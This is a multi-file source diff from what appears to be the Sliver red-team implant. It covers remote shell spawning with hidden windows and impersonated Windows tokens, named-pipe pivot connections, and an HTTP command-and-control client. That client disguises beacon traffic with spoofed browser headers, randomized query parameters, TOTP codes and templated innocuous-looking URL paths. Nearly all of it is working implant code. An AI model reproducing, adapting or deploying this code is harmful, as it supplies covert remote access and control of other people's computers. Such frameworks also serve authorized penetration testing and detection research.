if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: term,
|
||||
Stdin: term,
|
||||
}
|
||||
}
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -20,30 +20,8 @@ package shell
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
"runtime"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
@@ -54,89 +32,12 @@ type Shell struct {
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
if enablePty && runtime.GOOS != "windows" {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
// cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
ptmx, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: ptmx,
|
||||
Stdin: ptmx,
|
||||
}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
@@ -20,11 +21,11 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -34,14 +35,6 @@ var (
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
type Shell struct {
|
||||
ID uint64
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
@@ -49,7 +42,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
@@ -58,9 +51,7 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -94,20 +85,3 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -18,13 +18,23 @@ package shell
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
|
||||
powerShell = []string{
|
||||
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
|
||||
"-NoExit",
|
||||
// "-WindowStyle", "Hidden",
|
||||
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
|
||||
}
|
||||
)
|
||||
@@ -39,3 +49,40 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return commandPrompt
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
filename, err := os.Executable()
|
||||
// Should not happen, but still...
|
||||
if err != nil {
|
||||
//TODO: build the absolute path to os.Args[0]
|
||||
// TODO: build the absolute path to os.Args[0]
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
PollInterval: uint32(transports.GetPollInterval() / time.Second),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -30,6 +30,11 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -125,3 +130,18 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
@@ -23,15 +25,18 @@ package transports
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -41,6 +46,61 @@ const (
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
func namePipeDial(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
@@ -64,7 +124,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
@@ -73,7 +133,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -82,7 +142,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -94,7 +154,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
@@ -120,7 +180,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
@@ -20,13 +20,6 @@ package transports
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = init
|
||||
// .php = session
|
||||
// .js = poll
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rsa"
|
||||
@@ -57,15 +50,17 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
)
|
||||
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
|
||||
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, true)
|
||||
client = httpsClient(address, proxyConfig)
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
@@ -73,7 +68,7 @@ func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, err
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, true) // Fallback to insecure HTTP
|
||||
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -119,23 +114,62 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
query := req.URL.Query()
|
||||
query.Set("_", fmt.Sprintf("%d", encoderNonce))
|
||||
req.URL.RawQuery = query.Encode()
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Encoder nonce %d", value)
|
||||
// {{end}}
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
uri := s.txtURL()
|
||||
uri := s.keyExchangeURL()
|
||||
nonce, encoder := encoders.RandomTxtEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -180,22 +214,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// We do our own POST here because the server doesn't have the
|
||||
// session key yet.
|
||||
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] sessionInit = %v", sessionInit)
|
||||
// {{end}}
|
||||
payload := encoder.Encode(sessionInit)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
|
||||
// {{end}}
|
||||
reqBody := bytes.NewReader(payload) // Already RSA encrypted
|
||||
|
||||
uri := s.jspURL()
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -220,14 +251,19 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
)
|
||||
|
||||
// Poll - Perform an HTTP GET request
|
||||
func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.jsURL()
|
||||
uri := s.pollURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
@@ -238,28 +274,35 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 && resp.StatusCode != 201 {
|
||||
return nil, errors.New("Non-200 response code")
|
||||
}
|
||||
if resp.StatusCode == 403 {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Server responded with invalid session for %v", s.SessionID)
|
||||
// {{end}}
|
||||
return nil, errors.New("invalid session")
|
||||
}
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode == http.StatusNoContent {
|
||||
return nil, nil
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Unexpected status code %v", resp)
|
||||
// {{end}}
|
||||
return nil, ErrStatusCodeUnexpected
|
||||
}
|
||||
|
||||
// Send - Perform an HTTP POST request
|
||||
@@ -267,15 +310,18 @@ func (s *SliverHTTPClient) Send(data []byte) error {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return errors.New("no session")
|
||||
}
|
||||
reqData, err := GCMEncrypt(*s.SessionKey, data)
|
||||
reqData, _ := GCMEncrypt(*s.SessionKey, data)
|
||||
|
||||
uri := s.sessionURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
uri := s.phpURL()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -299,54 +345,105 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jsURL() string {
|
||||
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"js", "static", "assets", "dist", "javascript"}
|
||||
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jspURL() string {
|
||||
func (s *SliverHTTPClient) pollURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"app", "admin", "upload", "actions", "api"}
|
||||
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) phpURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"api", "rest", "drupal", "wordpress"}
|
||||
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.sessionURL()
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) txtURL() string {
|
||||
func (s *SliverHTTPClient) sessionURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
|
||||
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
|
||||
n := insecureRand.Intn(2) // How many segments?
|
||||
func (s *SliverHTTPClient) closeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.ClosePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.CloseFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
